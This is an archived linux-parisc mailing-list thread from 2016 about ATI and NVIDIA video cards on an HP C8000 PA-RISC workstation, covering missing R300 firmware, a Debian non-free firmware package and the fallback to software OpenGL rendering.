software id     : 6267540911694045181

processor       : 2
cpu family      : PA-RISC 2.0
cpu             : PA8800 (Mako)
cpu MHz         : 1000.000000
capabilities    : os64 iopdir_fdc needs_equivalent_aliasing (0x35)
model           : 9000/785/C8000
model name      : Crestone Peak Fast?
hversion        : 0x000088b0
sversion        : 0x00000491
I-cache         : 32768 KB
D-cache         : 32768 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1988.60
software id     : 6267540911694045181

processor       : 3
cpu family      : PA-RISC 2.0
cpu             : PA8800 (Mako)
cpu MHz         : 1000.000000
capabilities    : os64 iopdir_fdc needs_equivalent_aliasing (0x35)
model           : 9000/785/C8000
model name      : Crestone Peak Fast?
hversion        : 0x000088b0
sversion        : 0x00000491
I-cache         : 32768 KB
D-cache         : 32768 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1988.60
software id     : 6267540911694045181

simone@blsw:~$
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel hangs with ATI video cards
Date: Fri, 1 Apr 2016 11:28:13 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <CACrbsaApY_w3EcCKnvexqij4fDxedYFvcPVaZPm23wrS+i5HPg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1459502899 15455 80.91.229.3 (1 Apr 2016 09:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Apr 2016 09:28:19 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 01 11:28:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alvNI-0003Fr-L1
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Apr 2016 11:28:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753135AbcDAJ2Q convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Apr 2016 05:28:16 -0400
Original-Received: from mail-io0-f169.google.com ([209.85.223.169]:36050 "EHLO
	mail-io0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752830AbcDAJ2O convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Apr 2016 05:28:14 -0400
Original-Received: by mail-io0-f169.google.com with SMTP id q128so142705886iof.3
        for <linux-parisc@vger.kernel.org>; Fri, 01 Apr 2016 02:28:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to
         :content-transfer-encoding;
        bh=7XXZFI30f5eMruRhITzdKl/OmuzN0OpljYpO3sBwFCk=;
        b=w7EZz2AQZJUDIQO28zlj8gjAB909hUL5KR/IrMSG17U0038MTj87+k4NzPhIRyPFUV
         Y+aVq86v1YMcTWws0bStZc9AcQIIxbswBH4RoxKCQxfuTwGX0T7e+aeCjfS3CQI94Cdx
         TK3VUps364f1uyHbZTgfBxLjuG2uDQeAUb6/166Y/OOjN8mpz5SXRWIdoP7/v3tBn6Sx
         vVpG2kb+m+OiDFutb4uj4w9ea3zwq0x9LQcLVb03NTHAdgsizNN0GMV5Z9wmyLYfRZmb
         m+8+haMBak2e7i08FSv+kHY/O24mvoqxL8UR0Wiln9mI9fzB0nVd3qikKAEBTwdzJpzg
         Id7Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:date:message-id:subject:from:to
         :content-transfer-encoding;
        bh=7XXZFI30f5eMruRhITzdKl/OmuzN0OpljYpO3sBwFCk=;
        b=KEnFOWegeDEQaChPEFd7YbB3iDrBNqpkaCystoQq73lEfDYScDHGjK6tswJQv98JHj
         5lrNRUdFUH6QGKY/BgB8+WXetztXEyHchpFxIHL01+yWvSbIcTC4sho7EWzR9CO5oxvm
         jXEnLjFUxeiUwOPscVpOz1aQx2uhVHzN9J5i9MK9bLtAci0H9nJ4EFZQ+DARLRopejbW
         jTv0lFtDG7Ucgdha3Taigj6IXZMoWNqJBZFsRr6eGLP/MWqASX9JKhpKADWwqKbCKRgE
         FxH47hcW/SkCCiOHagdO6ouO3owVSeMGGA5wUY5+33udnqHbGNz28/JKTPqJUXhv9UVZ
         RsSg==
X-Gm-Message-State: AD7BkJJAm3RLxXDWfo9G5dzL7yZW1fLZ1TIiYAuB/ALg7Af0/l5s2Oq+XANnTYwg1egkESdsr+wdrZlQGJK/qA==
X-Received: by 10.107.9.202 with SMTP id 71mr1897209ioj.52.1459502893380; Fri,
 01 Apr 2016 02:28:13 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Fri, 1 Apr 2016 02:28:13 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26569
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26569>

Hi everyone,

after a complete "dist-update" I have successfully booted with a full
working SMP kernel:

simone@blsw:~$ uname -a
Linux blsw 4.4.0-1-parisc64-smp #1 SMP Debian 4.4.6-1 (2016-03-17)
parisc64 GNU/Linux

Switching to "graph3" console, the kernel hangs when it tried to
initialize the video card firmware. It said: r300 firmware not
available.

The very same issue happens with two ATI video cards: a Fire GL T2 and
a FireGL X3.

Now I have installed an old AGP NVIDIA; "lspci" produces
=2E...
80:00.0 VGA compatible controller: NVIDIA Corporation NV11GL [Quadro2
MXR/EX/Go] (rev a1)
=2E...

With this NVIA, everythings run fine: boot OK, MATE desktop perfect,
monitor automatically configured, etc.

During the first installation from serial terminal, after the
automatic hardware detection, the installation program asked for the
firmware of R300 video card (not embedded in the ditstro because
proprietary software). I have aswered "NO" becasue I don=C3=ACt have th=
is
sofware.
Usually, this binary blob should be included in the Linux kernel; or I
have missed something ?

Thanks in advance for your help.

Simone Mannori - Italy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel hangs with ATI video cards
Date: Fri, 1 Apr 2016 22:27:27 +1030
Lines: 65
Approved: news@gmane.org
Message-ID: <CAFk90B_NF6WZrOHii7F+F1Hb1YE8YxpJ+nTxmO5nhsc=1N=6MQ@mail.gmail.com>
References: <CACrbsaApY_w3EcCKnvexqij4fDxedYFvcPVaZPm23wrS+i5HPg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1459511852 30911 80.91.229.3 (1 Apr 2016 11:57:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Apr 2016 11:57:32 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 01 13:57:31 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alxhh-0000Ep-NG
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Apr 2016 13:57:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752606AbcDAL53 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Apr 2016 07:57:29 -0400
Original-Received: from mail-wm0-f53.google.com ([74.125.82.53]:32989 "EHLO
	mail-wm0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751513AbcDAL52 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Apr 2016 07:57:28 -0400
Original-Received: by mail-wm0-f53.google.com with SMTP id f198so22876962wme.0
        for <linux-parisc@vger.kernel.org>; Fri, 01 Apr 2016 04:57:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-transfer-encoding;
        bh=9aLpuUMagPlfG7AWmCfEF+2YAV9fTP/WjZvPe5oDqgw=;
        b=Evd8HMFP1kmG6fKsIQk9EGtd+0/au2t2Px4ABTbmrk+ZNZaRb79p+LdX4+maZm0g1z
         yXJScEbOm/GhYfBEoiwIT6yMV+AS/HktEOnonCCiU3rbKzdNkKtJOG/U8RSZg20j5TK1
         +RP0sfHdkWbS/gbxJW7WpK3kCPs4KemgWBGVjVk+j+vNHS2pTVljbEnllXn6FT3qbzqL
         noyzeVOqgKi85fOe0B+ZbuNmJfQ70bzgGkRNEBjEZwg6Ou7F2miYUYFYXAbBhxe7rCee
         x5u5b/f0Z2O5gljxr4jwsgxfn6Go3lzLEEqiIVngGahJrdsHw2QMblWfLpvujuI1J9S8
         7Wmw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-transfer-encoding;
        bh=9aLpuUMagPlfG7AWmCfEF+2YAV9fTP/WjZvPe5oDqgw=;
        b=Krh87QWoSjIVo/YuyTU1PdroXa+omtkG0iYRbpnn35cOdCauAOLK4davxLLiIb6H09
         XT21Sz3Q3dpa5lTtQpx6UeY4cc+VJR1/Bwg+lKV1RixoN+XlPDz4+stsVBu+jHvxizHU
         a0ljm4J59/Fgmtyzq9Qwd9LCCr/zW7cemJyMLDuftT4B8XmPzVlAuJv5hRX+GjEkeGwR
         00bikHmojOXjeK3ToRMKZcwoBn0SWD4BuDwmPLo8/uW4BEqmT/QFr2Y1L49mZ+6F57Ln
         i0VhV1gdC0umYmKP8BgtBB0uXWsdhGevCtlwsNyR4zsdijwUiyIedWUri3RwDGBRFU8x
         lRGg==
X-Gm-Message-State: AD7BkJKBwCNMCyz7WZSkETFOBSeeoEk2X7tMNJmF4gimlYnNp8IpkN3mhDwsUBtFX368HcWGCPeqaOc+fnK8UQ==
X-Received: by 10.194.179.227 with SMTP id dj3mr20835848wjc.50.1459511847113;
 Fri, 01 Apr 2016 04:57:27 -0700 (PDT)
Original-Received: by 10.28.232.79 with HTTP; Fri, 1 Apr 2016 04:57:27 -0700 (PDT)
In-Reply-To: <CACrbsaApY_w3EcCKnvexqij4fDxedYFvcPVaZPm23wrS+i5HPg@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26570>

You need to install the firmware-linux-nonfree package. I think I just
downloaded it manually, because the package was not installable from
the hppa repo directly. But you're on a wild goose chase here. There
is no support for graphics acceleration on hppa64. Search the
archives.

I've played with both ATI and NVIDIA cards, both drivers fail during
firmware initialisation. The problem is not yet known, and from the
archives it appears several competent individuals have tinkered and
given up.

-G

On 1 April 2016 at 19:58, Simone Mannori <simone.mannori@gmail.com> wro=
te:
> Hi everyone,
>
> after a complete "dist-update" I have successfully booted with a full
> working SMP kernel:
>
> simone@blsw:~$ uname -a
> Linux blsw 4.4.0-1-parisc64-smp #1 SMP Debian 4.4.6-1 (2016-03-17)
> parisc64 GNU/Linux
>
> Switching to "graph3" console, the kernel hangs when it tried to
> initialize the video card firmware. It said: r300 firmware not
> available.
>
> The very same issue happens with two ATI video cards: a Fire GL T2 an=
d
> a FireGL X3.
>
> Now I have installed an old AGP NVIDIA; "lspci" produces
> ....
> 80:00.0 VGA compatible controller: NVIDIA Corporation NV11GL [Quadro2
> MXR/EX/Go] (rev a1)
> ....
>
> With this NVIA, everythings run fine: boot OK, MATE desktop perfect,
> monitor automatically configured, etc.
>
> During the first installation from serial terminal, after the
> automatic hardware detection, the installation program asked for the
> firmware of R300 video card (not embedded in the ditstro because
> proprietary software). I have aswered "NO" becasue I don=C3=ACt have =
this
> sofware.
> Usually, this binary blob should be included in the Linux kernel; or =
I
> have missed something ?
>
> Thanks in advance for your help.
>
> Simone Mannori - Italy
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel hangs with ATI video cards
Date: Fri, 1 Apr 2016 15:11:43 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <CACrbsaAdyUQFSJpq9h859LX5z2Kixr2HJLQvWqeDsBgKRVn00A@mail.gmail.com>
References: <CACrbsaApY_w3EcCKnvexqij4fDxedYFvcPVaZPm23wrS+i5HPg@mail.gmail.com>
	<CAFk90B_NF6WZrOHii7F+F1Hb1YE8YxpJ+nTxmO5nhsc=1N=6MQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1459516311 7000 80.91.229.3 (1 Apr 2016 13:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Apr 2016 13:11:51 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Graham Gower <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 01 15:11:45 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alyrZ-0001Kc-CY
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Apr 2016 15:11:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754766AbcDANLo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Apr 2016 09:11:44 -0400
Original-Received: from mail-io0-f172.google.com ([209.85.223.172]:34164 "EHLO
	mail-io0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754507AbcDANLo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Apr 2016 09:11:44 -0400
Original-Received: by mail-io0-f172.google.com with SMTP id e3so150911020ioa.1
        for <linux-parisc@vger.kernel.org>; Fri, 01 Apr 2016 06:11:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-transfer-encoding;
        bh=9bQyvlfwAD8ieS+/KvtSldkCoUtfcDJq4AHz+tzjCJg=;
        b=FA4NNDl1Eu+nMYBcIKasIrmVmdDI6zTxztYJr8HB3UFT8wQ5UmKXkSf18fDSdOC/1x
         e/CgoG+PYxFi+B/fLRZL/bYeohvu10lClnlh25lykLmMw/X1ZXsJUyCra+/pyYbkKUi8
         aS6ea7GXB8M+FdTh3pk5iPOmnYOUHSBpjPTJZ8BOhkXlgPuFzJ0f5EZSRRVEgPyKkYmy
         g8Kc6vpOW/kBKC9DWvcMvJg5wzz5SiTtlwptYo1vPt4OrclxlRczQOvtjzGYp24ryYhu
         dIBlO/MzmPLPFPEGdTIzxP6okKeMoUCxdGFS/cSEEm6nkV3Qg2P9TGHGWX/bszi5QGIe
         PW7A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-transfer-encoding;
        bh=9bQyvlfwAD8ieS+/KvtSldkCoUtfcDJq4AHz+tzjCJg=;
        b=cdL+LvIkoeQMpwC97/YhSml4rrqNOgu+McwmLi5wOr0WqtbcNu2Okt9Um8dxPy1sN1
         o7nYZMba/6ZzPtVHHtxsQoU++ZSsPocpyJr8jBxZttOgKK2qsPGLqFXREYRJb6o9uZSB
         9N+ZfY/dfbQX3korHsiiQrePHthUzC8plZyorNO+8aWdWLeKpSHN0zmpOtXOeyvlNzdQ
         UFrkc23rOULXyGUmi8lS/zwReok797WSCa2h/rsTqNijfBVd0ChaOgzrQ1zmuDsG9SN1
         CrVm43joAhQNQBJeS1u7DA3HVn2UGsIg2SklH3TWPTD5QK2XGrxVIae6QJBc7FPNrLNg
         vjwg==
X-Gm-Message-State: AD7BkJL3Y6JhBZSP79PmdJ41ikC8zWLFQqZ9BsMAGspl3KgA6nxa73EL52Md9OmeHWTyPxYxdwutQxsPRXK2sQ==
X-Received: by 10.107.3.149 with SMTP id e21mr2493193ioi.46.1459516303191;
 Fri, 01 Apr 2016 06:11:43 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Fri, 1 Apr 2016 06:11:43 -0700 (PDT)
In-Reply-To: <CAFk90B_NF6WZrOHii7F+F1Hb1YE8YxpJ+nTxmO5nhsc=1N=6MQ@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26571>

Success!

As you have suggested, I have manually downloaded the package

--> firmware-linux-nonfree_0.36+wheezy.1_all.deb

from here:

https://packages.debian.org/wheezy/all/firmware-linux-nonfree/download

then I have installed it (as root) with "dpkg -i
firmware-linux-nonfree_0.36+wheezy.1_all.deb"

During the installation of the deb package, the initramdisk of the
kernel has been automatically updated with the proprietary firmware.

As you have correctly point out, both the previously working NVIDIA
QUADRO MXR 32M and the actual FileG2 T2

VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI]
RV350 GL [FireGL T2] (rev 80)

have DRI/OpenGL support in software (no hardware acceleration):

OpenGL vendor string: Mesa Project
OpenGL renderer string: Software Rasterizer
OpenGL version string: 2.1 Mesa 11.1.2
OpenGL shading language version string: 1.20

This is _very_strange because both "nouveau" and "radeon" should
support OpenGL / DRI in hardware ! Apparently, they run OK (X11 is OK)
but they switch to software rendering.

Question: inside X11 drivers, video card register setting is done
directly OR via VGA BIOS? In the second case, video card BIOS contains
x86 code that cannot be executed by pa risc processors (this is the
reason because the c8000 BIOS include an x86 emulator to set-up the
video card as console). This is a possible clue to find the source of
this issue.

Anyway, just a loose cannon like me can chase a wilde goose :-).

  Simone Mannori - Italy




On 01/04/2016, Graham Gower <graham.gower@gmail.com> wrote:
> You need to install the firmware-linux-nonfree package. I think I jus=
t
> downloaded it manually, because the package was not installable from
> the hppa repo directly. But you're on a wild goose chase here. There
> is no support for graphics acceleration on hppa64. Search the
> archives.
>
> I've played with both ATI and NVIDIA cards, both drivers fail during
> firmware initialisation. The problem is not yet known, and from the
> archives it appears several competent individuals have tinkered and
> given up.
>
> -G
>
> On 1 April 2016 at 19:58, Simone Mannori <simone.mannori@gmail.com> w=
rote:
>> Hi everyone,
>>
>> after a complete "dist-update" I have successfully booted with a ful=
l
>> working SMP kernel:
>>
>> simone@blsw:~$ uname -a
>> Linux blsw 4.4.0-1-parisc64-smp #1 SMP Debian 4.4.6-1 (2016-03-17)
>> parisc64 GNU/Linux
>>
>> Switching to "graph3" console, the kernel hangs when it tried to
>> initialize the video card firmware. It said: r300 firmware not
>> available.
>>
>> The very same issue happens with two ATI video cards: a Fire GL T2 a=
nd
>> a FireGL X3.
>>
>> Now I have installed an old AGP NVIDIA; "lspci" produces
>> ....
>> 80:00.0 VGA compatible controller: NVIDIA Corporation NV11GL [Quadro=
2
>> MXR/EX/Go] (rev a1)
>> ....
>>
>> With this NVIA, everythings run fine: boot OK, MATE desktop perfect,
>> monitor automatically configured, etc.
>>
>> During the first installation from serial terminal, after the
>> automatic hardware detection, the installation program asked for the
>> firmware of R300 video card (not embedded in the ditstro because
>> proprietary software). I have aswered "NO" becasue I don=C3=ACt have=
 this
>> sofware.
>> Usually, this binary blob should be included in the Linux kernel; or=
 I
>> have missed something ?
>>
>> Thanks in advance for your help.
>>
>> Simone Mannori - Italy
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-pari=
sc"
>> in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel hangs with ATI video cards
Date: Fri, 1 Apr 2016 23:38:28 +0200
Lines: 159
Approved: news@gmane.org
Message-ID: <56FEEA54.8000909@gmx.de>
References: <CACrbsaApY_w3EcCKnvexqij4fDxedYFvcPVaZPm23wrS+i5HPg@mail.gmail.com>
 <CAFk90B_NF6WZrOHii7F+F1Hb1YE8YxpJ+nTxmO5nhsc=1N=6MQ@mail.gmail.com>
 <CACrbsaAdyUQFSJpq9h859LX5z2Kixr2HJLQvWqeDsBgKRVn00A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459546726 16826 80.91.229.3 (1 Apr 2016 21:38:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Apr 2016 21:38:46 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Simone Mannori <simone.mannori@gmail.com>,
	Graham Gower <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 01 23:38:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1am6m3-0000Cu-9y
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Apr 2016 23:38:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752340AbcDAVie (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Apr 2016 17:38:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:54787 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751484AbcDAVid (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Apr 2016 17:38:33 -0400
Original-Received: from [192.168.20.60] ([92.203.38.102]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LztD9-1Zhc5W3HeN-0155ox; Fri, 01 Apr 2016 23:38:29
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CACrbsaAdyUQFSJpq9h859LX5z2Kixr2HJLQvWqeDsBgKRVn00A@mail.gmail.com>
X-Provags-ID: V03:K0:1LzqXoYuL0564MmDKCdn8uANzIKGCoPYgVdLq3eUxdiPNqKF9SO
 FdpD7ERz9k9bniDYrmt3dFwxRjnhFcuhWsQ63soK6iQ1xdjrfXkTX46fMKlakSANN6t86W5
 smTtSPKr7EuGmSziYgxt+mhv2PJyw8ZmD9t5YdAzB+cJyWfnVFuxGYY5438peiK53QAfwmb
 wbdaJnDLJb+zhqIt6MKYQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Uw/nNqGJ+ZQ=:HfRfLlNGhzDIv23V5TEKFm
 IKoqLrZgR9OsKw3iqjph8t+Qa8ez3yzSP3SCgnYq2tOX1ilRkcMlfxTFWuV58EWVlkxZPzhi/
 nautAhB+52+Ea0mRscoDAkwpliPq8ZjhjxkQ3PWtYchTNvp0uc7XCxYW0g1PshGm4MmsBLelF
 qnAyJJcAJVWVDTZKm2ScE2/G1IKfw5Hi2tdJzinyO+kzK4eU8zRroH/sZnNGmrQ2wmoTI+X8A
 oHAC7bLV6a31mdKoCR02h1BxBk0mmRadbVui5YuBF7noSU1wDhRE0YgbtrAV3KJXPQGjXbk/F
 4JWPEhdcVpYarFuVjIXFtGEZIIvSleNRnW+jgFwGRUy/kJZBgQDejcSffKXjo9XUS3ej9zkKv
 OJnHqWLy7h/SHCsVlYAuEhZ1/3za/Z0VRinLykVbCd1xGNrn7wiNQNta2MENwUjgUZxdyQ0mL
 SqoIjEZlUWyYTxUYeVyR2bvi73JpCJ5Da7idNXna/CxfJMr7JwFWzmDM6rSZQCM0qogTzkcfk
 VyDm4T8jFqEMcPOq7NRVbGtZGG4VlttzyaVPaixAdm4SnWG3FGSarMRWZkqxTHqToj2F6mtbs
 6JPvFwyeRQxCE3HKrcrwu1faA6t1ZTcfgdKBkPtFRs/kZ1hyfAzGUei8IAOKHuem8gxovKody
 czoIdusmzThnkg1xZur7XojDQzpKYMUiIobRHIJwaiKHlSSA0OCXq04LIlQZbpfuNGy7GLBRr
 Xv/1mYmrKKMyIy0ES0NI8gRR2rd2l2ZXHBI82BWFEHWJWhR9RGhpR71Y40+sOoI/n6CTCXwN 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26572>

On 01.04.2016 15:11, Simone Mannori wrote:
> Success!
> 
> As you have suggested, I have manually downloaded the package
> 
> --> firmware-linux-nonfree_0.36+wheezy.1_all.deb
> 
> from here:
> 
> https://packages.debian.org/wheezy/all/firmware-linux-nonfree/download
> 
> then I have installed it (as root) with "dpkg -i
> firmware-linux-nonfree_0.36+wheezy.1_all.deb"
> 
> During the installation of the deb package, the initramdisk of the
> kernel has been automatically updated with the proprietary firmware.
> 
> As you have correctly point out, both the previously working NVIDIA
> QUADRO MXR 32M and the actual FileG2 T2
> 
> VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI]
> RV350 GL [FireGL T2] (rev 80)
> 
> have DRI/OpenGL support in software (no hardware acceleration):
> 
> OpenGL vendor string: Mesa Project
> OpenGL renderer string: Software Rasterizer
> OpenGL version string: 2.1 Mesa 11.1.2
> OpenGL shading language version string: 1.20

That was more or less expected.
 
> This is _very_strange because both "nouveau" and "radeon" should
> support OpenGL / DRI in hardware ! Apparently, they run OK (X11 is OK)
> but they switch to software rendering.

Yes, they should work accelerated.
 
> Question: inside X11 drivers, video card register setting is done
> directly OR via VGA BIOS? In the second case, video card BIOS contains
> x86 code that cannot be executed by pa risc processors (this is the
> reason because the c8000 BIOS include an x86 emulator to set-up the
> video card as console). This is a possible clue to find the source of
> this issue.

Right. The problem is probably that the emulated BIOS does not fully
initializes the card how the Linux kernel driver expects it.
Or, maybe we don't initialize the C8000 chipset correctly so that it
can not handle the ATI card as expected. 

This is the part of the syslog regarding the ATI card on my C8000:

[   32.668000] [drm] radeon kernel modesetting enabled.
[   32.760000] radeon 0000:80:00.0: enabling SERR and PARITY (0187 -> 01c7)
[   32.864000] [drm] initializing kernel modesetting (R300 0x1002:0x4E47 0x1002:0x0152).
[   32.968000] [drm] register mmio base: 0xD0030000
[   33.024000] [drm] register mmio size: 65536
[   33.148000] radeon 0000:80:00.0: putting AGP V3 device into 8x mode
